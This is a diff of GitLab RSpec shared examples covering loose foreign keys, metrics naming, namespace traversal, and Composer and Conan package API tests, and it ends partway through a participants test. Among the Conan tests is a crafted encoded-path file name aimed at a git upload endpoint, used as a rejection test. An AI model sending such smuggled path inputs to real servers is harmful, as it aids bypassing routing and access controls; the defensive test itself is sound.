diff --git a/spec/support/shared_examples/loose_foreign_keys/have_loose_foreign_key.rb b/spec/support/shared_examples/loose_foreign_keys/have_loose_foreign_key.rb
index 7ccd9533811..8f3a93de509 100644
--- a/spec/support/shared_examples/loose_foreign_keys/have_loose_foreign_key.rb
+++ b/spec/support/shared_examples/loose_foreign_keys/have_loose_foreign_key.rb
@@ -4,17 +4,12 @@ RSpec.shared_examples 'it has loose foreign keys' do
let(:factory_name) { nil }
let(:table_name) { described_class.table_name }
let(:connection) { described_class.connection }
-
- it 'includes the LooseForeignKey module' do
- expect(described_class.ancestors).to include(LooseForeignKey)
- end
-
- it 'responds to #loose_foreign_key_definitions' do
- expect(described_class).to respond_to(:loose_foreign_key_definitions)
- end
+ let(:fully_qualified_table_name) { "#{connection.current_schema}.#{table_name}" }
+ let(:deleted_records) { LooseForeignKeys::DeletedRecord.where(fully_qualified_table_name: fully_qualified_table_name) }
it 'has at least one loose foreign key definition' do
- expect(described_class.loose_foreign_key_definitions.size).to be > 0
+ definitions = Gitlab::Database::LooseForeignKeys.definitions_by_table[table_name]
+ expect(definitions.size).to be > 0
end
it 'has the deletion trigger present' do
@@ -32,9 +27,11 @@ RSpec.shared_examples 'it has loose foreign keys' do
it 'records record deletions' do
model = create(factory_name) # rubocop: disable Rails/SaveBang
- model.destroy!
- deleted_record = LooseForeignKeys::DeletedRecord.find_by(fully_qualified_table_name: "#{connection.current_schema}.#{table_name}", primary_key_value: model.id)
+ # using delete to avoid cross-database modification errors when associations with dependent option are present
+ model.delete
+
+ deleted_record = deleted_records.find_by(primary_key_value: model.id)
expect(deleted_record).not_to be_nil
end
@@ -42,11 +39,36 @@ RSpec.shared_examples 'it has loose foreign keys' do
it 'cleans up record deletions' do
model = create(factory_name) # rubocop: disable Rails/SaveBang
- expect { model.destroy! }.to change { LooseForeignKeys::DeletedRecord.count }.by(1)
+ expect { model.delete }.to change { deleted_records.count }.by(1)
LooseForeignKeys::ProcessDeletedRecordsService.new(connection: connection).execute
- expect(LooseForeignKeys::DeletedRecord.status_pending.count).to be(0)
- expect(LooseForeignKeys::DeletedRecord.status_processed.count).to be(1)
+ expect(deleted_records.status_pending.count).to be(0)
+ expect(deleted_records.status_processed.count).to be(1)
+ end
+end
+
+RSpec.shared_examples 'cleanup by a loose foreign key' do
+ let(:foreign_key_definition) do
+ foreign_keys_for_parent = Gitlab::Database::LooseForeignKeys.definitions_by_table[parent.class.table_name]
+ foreign_keys_for_parent.find { |definition| definition.from_table == model.class.table_name }
+ end
+
+ def find_model
+ model.class.find_by(id: model.id)
+ end
+
+ it 'deletes the model' do
+ parent.delete
+
+ expect(find_model).to be_present
+
+ LooseForeignKeys::ProcessDeletedRecordsService.new(connection: model.connection).execute
+
+ if foreign_key_definition.on_delete.eql?(:async_delete)
+ expect(find_model).not_to be_present
+ else
+ expect(find_model[foreign_key_definition.column]).to eq(nil)
+ end
end
end
diff --git a/spec/support/shared_examples/mailers/notify_shared_examples.rb b/spec/support/shared_examples/mailers/notify_shared_examples.rb
index e1f7a9030e2..20ed380fb18 100644
--- a/spec/support/shared_examples/mailers/notify_shared_examples.rb
+++ b/spec/support/shared_examples/mailers/notify_shared_examples.rb
@@ -161,6 +161,12 @@ RSpec.shared_examples 'it should not have Gmail Actions links' do
end
end
+RSpec.shared_examples 'it should show Gmail Actions Join now link' do
+ it_behaves_like 'it should have Gmail Actions links'
+
+ it { is_expected.to have_body_text('Join now') }
+end
+
RSpec.shared_examples 'it should show Gmail Actions View Issue link' do
it_behaves_like 'it should have Gmail Actions links'
diff --git a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
index c06083ba952..6e8c340582a 100644
--- a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
+++ b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
@@ -1,7 +1,11 @@
# frozen_string_literal: true
RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
- let(:db_config_name) { ::Gitlab::Database.db_config_names.first }
+ let(:db_config_name) do
+ db_config_name = ::Gitlab::Database.db_config_names.first
+ db_config_name += "_replica" if db_role == :secondary
+ db_config_name
+ end
let(:expected_payload_defaults) do
result = {}
@@ -39,15 +43,15 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0,
db_primary_cached_count: record_cached_query ? 1 : 0,
- "db_primary_#{db_config_name}_cached_count": record_cached_query ? 1 : 0,
+ "db_#{db_config_name}_cached_count": record_cached_query ? 1 : 0,
db_primary_count: record_query ? 1 : 0,
- "db_primary_#{db_config_name}_count": record_query ? 1 : 0,
+ "db_#{db_config_name}_count": record_query ? 1 : 0,
db_primary_duration_s: record_query ? 0.002 : 0.0,
- "db_primary_#{db_config_name}_duration_s": record_query ? 0.002 : 0.0,
+ "db_#{db_config_name}_duration_s": record_query ? 0.002 : 0.0,
db_primary_wal_count: record_wal_query ? 1 : 0,
- "db_primary_#{db_config_name}_wal_count": record_wal_query ? 1 : 0,
+ "db_#{db_config_name}_wal_count": record_wal_query ? 1 : 0,
db_primary_wal_cached_count: record_wal_query && record_cached_query ? 1 : 0,
- "db_primary_#{db_config_name}_wal_cached_count": record_wal_query && record_cached_query ? 1 : 0
+ "db_#{db_config_name}_wal_cached_count": record_wal_query && record_cached_query ? 1 : 0
})
elsif db_role == :replica
transform_hash(expected_payload_defaults, {
@@ -55,15 +59,15 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0,
db_replica_cached_count: record_cached_query ? 1 : 0,
- "db_replica_#{db_config_name}_cached_count": record_cached_query ? 1 : 0,
+ "db_#{db_config_name}_cached_count": record_cached_query ? 1 : 0,
db_replica_count: record_query ? 1 : 0,
- "db_replica_#{db_config_name}_count": record_query ? 1 : 0,
+ "db_#{db_config_name}_count": record_query ? 1 : 0,
db_replica_duration_s: record_query ? 0.002 : 0.0,
- "db_replica_#{db_config_name}_duration_s": record_query ? 0.002 : 0.0,
+ "db_#{db_config_name}_duration_s": record_query ? 0.002 : 0.0,
db_replica_wal_count: record_wal_query ? 1 : 0,
- "db_replica_#{db_config_name}_wal_count": record_wal_query ? 1 : 0,
+ "db_#{db_config_name}_wal_count": record_wal_query ? 1 : 0,
db_replica_wal_cached_count: record_wal_query && record_cached_query ? 1 : 0,
- "db_replica_#{db_config_name}_wal_cached_count": record_wal_query && record_cached_query ? 1 : 0
+ "db_#{db_config_name}_wal_cached_count": record_wal_query && record_cached_query ? 1 : 0
})
else
transform_hash(expected_payload_defaults, {
@@ -71,15 +75,15 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0,
db_primary_cached_count: 0,
- "db_primary_#{db_config_name}_cached_count": 0,
+ "db_#{db_config_name}_cached_count": 0,
db_primary_count: 0,
- "db_primary_#{db_config_name}_count": 0,
+ "db_#{db_config_name}_count": 0,
db_primary_duration_s: 0.0,
- "db_primary_#{db_config_name}_duration_s": 0.0,
+ "db_#{db_config_name}_duration_s": 0.0,
db_primary_wal_count: 0,
- "db_primary_#{db_config_name}_wal_count": 0,
+ "db_#{db_config_name}_wal_count": 0,
db_primary_wal_cached_count: 0,
- "db_primary_#{db_config_name}_wal_cached_count": 0
+ "db_#{db_config_name}_wal_cached_count": 0
})
end
@@ -105,7 +109,11 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
end
RSpec.shared_examples 'record ActiveRecord metrics in a metrics transaction' do |db_role|
- let(:db_config_name) { ::Gitlab::Database.db_config_name(ApplicationRecord.retrieve_connection) }
+ let(:db_config_name) do
+ db_config_name = ::Gitlab::Database.db_config_names.first
+ db_config_name += "_replica" if db_role == :secondary
+ db_config_name
+ end
it 'increments only db counters' do
if record_query
diff --git a/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb b/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
index 03f565e0aac..fe85daa7235 100644
--- a/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
+++ b/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
@@ -80,15 +80,22 @@ RSpec.shared_examples 'AtomicInternalId' do |validate_presence: true|
it 'calls InternalId.generate_next and sets internal id attribute' do
iid = rand(1..1000)
- expect(InternalId).to receive(:generate_next).with(instance, scope_attrs, usage, any_args).and_return(iid)
+ # Need to do this before evaluating instance otherwise it gets set
+ # already in factory
+ allow(InternalId).to receive(:generate_next).and_return(iid)
+
subject
expect(read_internal_id).to eq(iid)
+
+ expect(InternalId).to have_received(:generate_next).with(instance, scope_attrs, usage, any_args)
end
it 'does not overwrite an existing internal id' do
write_internal_id(4711)
- expect { subject }.not_to change { read_internal_id }
+ allow_cross_database_modification_within_transaction(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/347091') do
+ expect { subject }.not_to change { read_internal_id }
+ end
end
context 'when the instance has an internal ID set' do
@@ -101,6 +108,7 @@ RSpec.shared_examples 'AtomicInternalId' do |validate_presence: true|
.to receive(:track_greatest)
.with(instance, scope_attrs, usage, internal_id, any_args)
.and_return(internal_id)
+
subject
end
end
@@ -110,7 +118,11 @@ RSpec.shared_examples 'AtomicInternalId' do |validate_presence: true|
context 'when the internal id has been changed' do
context 'when the internal id is automatically set' do
it 'clears it on the instance' do
- expect_iid_to_be_set_and_rollback
+ write_internal_id(nil)
+
+ allow_cross_database_modification_within_transaction(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/347091') do
+ expect_iid_to_be_set_and_rollback
+ end
expect(read_internal_id).to be_nil
end
@@ -120,7 +132,9 @@ RSpec.shared_examples 'AtomicInternalId' do |validate_presence: true|
it 'does not clear it on the instance' do
write_internal_id(100)
- expect_iid_to_be_set_and_rollback
+ allow_cross_database_modification_within_transaction(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/347091') do
+ expect_iid_to_be_set_and_rollback
+ end
expect(read_internal_id).not_to be_nil
end
diff --git a/spec/support/shared_examples/models/chat_integration_shared_examples.rb b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
index 72659dd5f3b..e6b270c6188 100644
--- a/spec/support/shared_examples/models/chat_integration_shared_examples.rb
+++ b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
@@ -71,7 +71,7 @@ RSpec.shared_examples "chat integration" do |integration_name|
it "does not call #{integration_name} API" do
result = subject.execute(sample_data)
- expect(result).to be(false)
+ expect(result).to be_falsy
expect(WebMock).not_to have_requested(:post, webhook_url)
end
end
@@ -113,7 +113,7 @@ RSpec.shared_examples "chat integration" do |integration_name|
context "with protected branch" do
before do
- create(:protected_branch, project: project, name: "a-protected-branch")
+ create(:protected_branch, :create_branch_on_repository, project: project, name: "a-protected-branch")
end
let(:sample_data) do
@@ -309,7 +309,7 @@ RSpec.shared_examples "chat integration" do |integration_name|
context "with protected branch" do
before do
- create(:protected_branch, project: project, name: "a-protected-branch")
+ create(:protected_branch, :create_branch_on_repository, project: project, name: "a-protected-branch")
end
let(:sample_data) do
@@ -355,5 +355,11 @@ RSpec.shared_examples "chat integration" do |integration_name|
end
end
end
+
+ context 'deployment events' do
+ let(:sample_data) { Gitlab::DataBuilder::Deployment.build(create(:deployment), Time.now) }
+
+ it_behaves_like "untriggered #{integration_name} integration"
+ end
end
end
diff --git a/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
index 2d4c0b60f2b..ad15f82be5e 100644
--- a/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
@@ -305,7 +305,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
context 'on a protected branch' do
before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
+ create(:protected_branch, :create_branch_on_repository, project: project, name: 'a-protected-branch')
end
let(:data) do
@@ -347,7 +347,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
context 'on a protected branch with protected branches defined using wildcards' do
before do
- create(:protected_branch, project: project, name: '*-stable')
+ create(:protected_branch, :create_branch_on_repository, repository_branch_name: '1-stable', project: project, name: '*-stable')
end
let(:data) do
@@ -560,7 +560,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
context 'on a protected branch' do
before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
+ create(:protected_branch, :create_branch_on_repository, project: project, name: 'a-protected-branch')
end
let(:pipeline) do
@@ -590,7 +590,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
context 'on a protected branch with protected branches defined usin wildcards' do
before do
- create(:protected_branch, project: project, name: '*-stable')
+ create(:protected_branch, :create_branch_on_repository, repository_branch_name: '1-stable', project: project, name: '*-stable')
end
let(:pipeline) do
diff --git a/spec/support/shared_examples/models/member_shared_examples.rb b/spec/support/shared_examples/models/member_shared_examples.rb
index a2909c66e22..d5d137922eb 100644
--- a/spec/support/shared_examples/models/member_shared_examples.rb
+++ b/spec/support/shared_examples/models/member_shared_examples.rb
@@ -301,10 +301,6 @@ RSpec.shared_examples_for "member creation" do
end
context 'when `tasks_to_be_done` and `tasks_project_id` are passed' do
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
it 'creates a member_task with the correct attributes', :aggregate_failures do
task_project = source.is_a?(Group) ? create(:project, group: source) : source
described_class.new(source, user, :developer, tasks_to_be_done: %w(ci code), tasks_project_id: task_project.id).execute
@@ -397,10 +393,6 @@ RSpec.shared_examples_for "bulk member creation" do
end
context 'when `tasks_to_be_done` and `tasks_project_id` are passed' do
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
it 'creates a member_task with the correct attributes', :aggregate_failures do
task_project = source.is_a?(Group) ? create(:project, group: source) : source
members = described_class.add_users(source, [user1], :developer, tasks_to_be_done: %w(ci code), tasks_project_id: task_project.id)
diff --git a/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb b/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
index f08ee820463..23026167b19 100644
--- a/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
+++ b/spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb
@@ -23,7 +23,7 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
let_it_be(:component_file_other_file_md5, freeze: can_freeze) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, file_md5: 'other_md5') }
let_it_be(:component_file_other_file_sha256, freeze: can_freeze) { create("debian_#{container_type}_component_file", component: component1_1, architecture: architecture1_1, file_sha256: 'other_sha256') }
let_it_be(:component_file_other_container, freeze: can_freeze) { create("debian_#{container_type}_component_file", component: component2_1, architecture: architecture2_1) }
- let_it_be_with_refind(:component_file_with_file_type_source) { create("debian_#{container_type}_component_file", :source, component: component1_1) }
+ let_it_be_with_refind(:component_file_with_file_type_sources) { create("debian_#{container_type}_component_file", :sources, component: component1_1) }
let_it_be(:component_file_with_file_type_di_packages, freeze: can_freeze) { create("debian_#{container_type}_component_file", :di_packages, component: component1_1, architecture: architecture1_1) }
subject { component_file_with_architecture }
@@ -43,8 +43,8 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
it { is_expected.to belong_to(:architecture).class_name("Packages::Debian::#{container_type.capitalize}Architecture").inverse_of(:files) }
end
- context 'with :source file_type' do
- subject { component_file_with_file_type_source }
+ context 'with :sources file_type' do
+ subject { component_file_with_file_type_sources }
it { is_expected.to belong_to(:architecture).class_name("Packages::Debian::#{container_type.capitalize}Architecture").inverse_of(:files).optional }
end
@@ -66,8 +66,8 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
it { is_expected.to validate_presence_of(:architecture) }
end
- context 'with :source file_type' do
- subject { component_file_with_file_type_source }
+ context 'with :sources file_type' do
+ subject { component_file_with_file_type_sources }
it { is_expected.to validate_absence_of(:architecture) }
end
@@ -135,10 +135,10 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
end
describe '.with_file_type' do
- subject { described_class.with_file_type(:source) }
+ subject { described_class.with_file_type(:sources) }
it do
- expect(subject.to_a).to contain_exactly(component_file_with_file_type_source)
+ expect(subject.to_a).to contain_exactly(component_file_with_file_type_sources)
end
end
@@ -214,9 +214,9 @@ RSpec.shared_examples 'Debian Component File' do |container_type, can_freeze|
end
context 'with a Source file_type' do
- subject { component_file_with_file_type_source.relative_path }
+ subject { component_file_with_file_type_sources.relative_path }
- it { is_expected.to eq("#{component1_1.name}/source/Source") }
+ it { is_expected.to eq("#{component1_1.name}/source/Sources") }
end
context 'with a DI Packages file_type' do
diff --git a/spec/support/shared_examples/namespaces/traversal_examples.rb b/spec/support/shared_examples/namespaces/traversal_examples.rb
index ac6a843663f..73e22b97abc 100644
--- a/spec/support/shared_examples/namespaces/traversal_examples.rb
+++ b/spec/support/shared_examples/namespaces/traversal_examples.rb
@@ -205,6 +205,58 @@ RSpec.shared_examples 'namespace traversal' do
end
end
+ shared_examples '#ancestors_upto' do
+ let(:parent) { create(:group) }
+ let(:child) { create(:group, parent: parent) }
+ let(:child2) { create(:group, parent: child) }
+
+ it 'returns all ancestors when no namespace is given' do
+ expect(child2.ancestors_upto).to contain_exactly(child, parent)
+ end
+
+ it 'includes ancestors upto but excluding the given ancestor' do
+ expect(child2.ancestors_upto(parent)).to contain_exactly(child)
+ end
+
+ context 'with asc hierarchy_order' do
+ it 'returns the correct ancestor ids' do
+ expect(child2.ancestors_upto(hierarchy_order: :asc)).to eq([child, parent])
+ end
+ end
+
+ context 'with desc hierarchy_order' do
+ it 'returns the correct ancestor ids' do
+ expect(child2.ancestors_upto(hierarchy_order: :desc)).to eq([parent, child])
+ end
+ end
+
+ describe '#recursive_self_and_ancestor_ids' do
+ it 'is equivalent to ancestors_upto' do
+ recursive_result = child2.recursive_ancestors_upto(parent)
+ linear_result = child2.ancestors_upto(parent)
+ expect(linear_result).to match_array recursive_result
+ end
+
+ it 'makes a recursive query' do
+ expect { child2.recursive_ancestors_upto.try(:load) }.to make_queries_matching(/WITH RECURSIVE/)
+ end
+ end
+ end
+
+ describe '#ancestors_upto' do
+ context 'with use_traversal_ids_for_ancestors_upto enabled' do
+ include_examples '#ancestors_upto'
+ end
+
+ context 'with use_traversal_ids_for_ancestors_upto disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors_upto: false)
+ end
+
+ include_examples '#ancestors_upto'
+ end
+ end
+
describe '#descendants' do
let!(:another_group) { create(:group) }
let!(:another_group_nested) { create(:group, parent: another_group) }
diff --git a/spec/support/shared_examples/namespaces/traversal_scope_examples.rb b/spec/support/shared_examples/namespaces/traversal_scope_examples.rb
index 4c09c1c2a3b..3d52ed30c62 100644
--- a/spec/support/shared_examples/namespaces/traversal_scope_examples.rb
+++ b/spec/support/shared_examples/namespaces/traversal_scope_examples.rb
@@ -213,6 +213,12 @@ RSpec.shared_examples 'namespace traversal scopes' do
it { is_expected.to contain_exactly(deep_nested_group_1, deep_nested_group_2) }
end
+
+ context 'with offset and limit' do
+ subject { described_class.where(id: [group_1, group_2]).offset(1).limit(1).self_and_descendants }
+
+ it { is_expected.to contain_exactly(group_2, nested_group_2, deep_nested_group_2) }
+ end
end
describe '.self_and_descendants' do
@@ -242,6 +248,19 @@ RSpec.shared_examples 'namespace traversal scopes' do
it { is_expected.to contain_exactly(deep_nested_group_1.id, deep_nested_group_2.id) }
end
+
+ context 'with offset and limit' do
+ subject do
+ described_class
+ .where(id: [group_1, group_2])
+ .limit(1)
+ .offset(1)
+ .self_and_descendant_ids
+ .pluck(:id)
+ end
+
+ it { is_expected.to contain_exactly(group_2.id, nested_group_2.id, deep_nested_group_2.id) }
+ end
end
describe '.self_and_descendant_ids' do
diff --git a/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
index e45be21f152..9f4fdcf7ba1 100644
--- a/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
@@ -173,3 +173,65 @@ RSpec.shared_examples 'rejects Composer access with unknown project id' do
end
end
end
+
+RSpec.shared_examples 'Composer access with deploy tokens' do
+ shared_examples 'a deploy token for Composer GET requests' do
+ context 'with deploy token headers' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token) }
+
+ before do
+ group.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(deploy_token.username, 'bar') }
+
+ it_behaves_like 'returning response status', :not_found
+ end
+ end
+ end
+
+ context 'group deploy token' do
+ let(:deploy_token) { deploy_token_for_group }
+
+ it_behaves_like 'a deploy token for Composer GET requests'
+ end
+
+ context 'project deploy token' do
+ let(:deploy_token) { deploy_token_for_project }
+
+ it_behaves_like 'a deploy token for Composer GET requests'
+ end
+end
+
+RSpec.shared_examples 'Composer publish with deploy tokens' do
+ shared_examples 'a deploy token for Composer publish requests' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token) }
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(deploy_token.username, 'bar') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+ end
+
+ context 'group deploy token' do
+ let(:deploy_token) { deploy_token_for_group }
+
+ it_behaves_like 'a deploy token for Composer publish requests'
+ end
+
+ context 'group deploy token' do
+ let(:deploy_token) { deploy_token_for_project }
+
+ it_behaves_like 'a deploy token for Composer publish requests'
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
index 20606ae942d..71f3a0235be 100644
--- a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
@@ -178,6 +178,54 @@ RSpec.shared_examples 'rejects invalid recipe' do
end
end
+RSpec.shared_examples 'handling empty values for username and channel' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:recipe_path) { "#{package.name}/#{package.version}/#{package_username}/#{channel}" }
+
+ where(:username, :channel, :status) do
+ 'username' | 'channel' | :ok
+ 'username' | '_' | :bad_request
+ '_' | 'channel' | :bad_request_or_not_found
+ '_' | '_' | :ok_or_not_found
+ end
+
+ with_them do
+ let(:package_username) do
+ if username == 'username'
+ package.conan_metadatum.package_username
+ else
+ username
+ end
+ end
+
+ before do
+ project.add_maintainer(user) # avoid any permission issue
+ end
+
+ it 'returns the correct status code' do |example|
+ project_level = example.full_description.include?('api/v4/projects')
+
+ expected_status = case status
+ when :ok_or_not_found
+ project_level ? :ok : :not_found
+ when :bad_request_or_not_found
+ project_level ? :bad_request : :not_found
+ else
+ status
+ end
+
+ if expected_status == :ok
+ package.conan_metadatum.update!(package_username: package_username, package_channel: channel)
+ end
+
+ subject
+
+ expect(response).to have_gitlab_http_status(expected_status)
+ end
+ end
+end
+
RSpec.shared_examples 'rejects invalid file_name' do |invalid_file_name|
let(:file_name) { invalid_file_name }
@@ -300,6 +348,7 @@ RSpec.shared_examples 'recipe snapshot endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects recipe for invalid project'
it_behaves_like 'empty recipe for not found package'
+ it_behaves_like 'handling empty values for username and channel'
context 'with existing package' do
it 'returns a hash of files with their md5 hashes' do
@@ -324,6 +373,7 @@ RSpec.shared_examples 'package snapshot endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects recipe for invalid project'
it_behaves_like 'empty recipe for not found package'
+ it_behaves_like 'handling empty values for username and channel'
context 'with existing package' do
it 'returns a hash of md5 values for the files' do
@@ -344,12 +394,14 @@ RSpec.shared_examples 'recipe download_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects recipe for invalid project'
it_behaves_like 'recipe download_urls'
+ it_behaves_like 'handling empty values for username and channel'
end
RSpec.shared_examples 'package download_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects recipe for invalid project'
it_behaves_like 'package download_urls'
+ it_behaves_like 'handling empty values for username and channel'
end
RSpec.shared_examples 'recipe upload_urls endpoint' do
@@ -362,6 +414,7 @@ RSpec.shared_examples 'recipe upload_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid upload_url params'
+ it_behaves_like 'handling empty values for username and channel'
it 'returns a set of upload urls for the files requested' do
subject
@@ -423,6 +476,7 @@ RSpec.shared_examples 'package upload_urls endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid upload_url params'
+ it_behaves_like 'handling empty values for username and channel'
it 'returns a set of upload urls for the files requested' do
expected_response = {
@@ -458,6 +512,7 @@ RSpec.shared_examples 'delete package endpoint' do
let(:recipe_path) { package.conan_recipe_path }
it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'handling empty values for username and channel'
it 'returns unauthorized for users without valid permission' do
subject
@@ -568,12 +623,14 @@ RSpec.shared_examples 'recipe file download endpoint' do
it_behaves_like 'a public project with packages'
it_behaves_like 'an internal project with packages'
it_behaves_like 'a private project with packages'
+ it_behaves_like 'handling empty values for username and channel'
end
RSpec.shared_examples 'package file download endpoint' do
it_behaves_like 'a public project with packages'
it_behaves_like 'an internal project with packages'
it_behaves_like 'a private project with packages'
+ it_behaves_like 'handling empty values for username and channel'
context 'tracking the conan_package.tgz download' do
let(:package_file) { package.package_files.find_by(file_name: ::Packages::Conan::FileMetadatum::PACKAGE_BINARY) }
@@ -598,6 +655,7 @@ RSpec.shared_examples 'workhorse authorize endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
it_behaves_like 'workhorse authorization'
+ it_behaves_like 'handling empty values for username and channel'
end
RSpec.shared_examples 'workhorse recipe file upload endpoint' do
@@ -619,6 +677,7 @@ RSpec.shared_examples 'workhorse recipe file upload endpoint' do
it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
it_behaves_like 'uploads a package file'
it_behaves_like 'creates build_info when there is a job'
+ it_behaves_like 'handling empty values for username and channel'
end
RSpec.shared_examples 'workhorse package file upload endpoint' do
@@ -640,6 +699,7 @@ RSpec.shared_examples 'workhorse package file upload endpoint' do
it_behaves_like 'rejects invalid file_name', 'conaninfo.txttest'
it_behaves_like 'uploads a package file'
it_behaves_like 'creates build_info when there is a job'
+ it_behaves_like 'handling empty values for username and channel'
context 'tracking the conan_package.tgz upload' do
let(:file_name) { ::Packages::Conan::FileMetadatum::PACKAGE_BINARY }
diff --git a/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
index 62dbac3fd4d..8bffd1f71e9 100644
--- a/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
@@ -18,19 +18,19 @@ RSpec.shared_examples 'snippet edit usage data counters' do
end
end
- context 'when user is not sessionless' do
+ context 'when user is not sessionless', :clean_gitlab_redis_sessions do
before do
session_id = Rack::Session::SessionId.new('6919a6f1bb119dd7396fadc38fd18d0d')
session_hash = { 'warden.user.user.key' => [[current_user.id], current_user.encrypted_password[0, 29]] }
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:gitlab:#{session_id.private_id}", Marshal.dump(session_hash))
end
cookies[Gitlab::Application.config.session_options[:key]] = session_id.public_id
end
- it 'tracks usage data actions', :clean_gitlab_redis_shared_state do
+ it 'tracks usage data actions', :clean_gitlab_redis_sessions do
expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).to receive(:track_snippet_editor_edit_action)
post_graphql_mutation(mutation)
diff --git a/spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb
index 367c6d4fa3a..882c79cb03f 100644
--- a/spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb
@@ -55,7 +55,7 @@ RSpec.shared_examples 'group and project packages query' do
end
it 'deals with metadata' do
- expect(target_shas).to contain_exactly(composer_metadatum.target_sha)
+ expect(target_shas.compact).to contain_exactly(composer_metadatum.target_sha)
end
it 'returns the count of the packages' do
diff --git a/spec/support/shared_examples/requests/api/issuable_participants_examples.rb b/spec/support/shared_examples/requests/api/issuable_participants_examples.rb
index 673d7741017..c5e5803c0a7 100644
--- a/spec/support/shared_examples/requests/api/issuable_participants_examples.rb
+++ b/spec/support/shared_examples/requests/api/issuable_participants_examples.rb
@@ -28,4 +28,34 @@ RSpec.shared_examples 'issuable participants endpoint' do
expect(response).to have_gitlab_http_status(:not_found)
end
+
+ context 'with a confidential note' do
+ let!(:note) do
+ create(
+ :note,
+ :confidential,
+ project: project,
+ noteable: entity,
+ author: create(:user)
+ )
+ end
+
+ it 'returns a full list of participants' do
+ get api("/projects/#{project.id}/#{area}/#{entity.iid}/participants", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
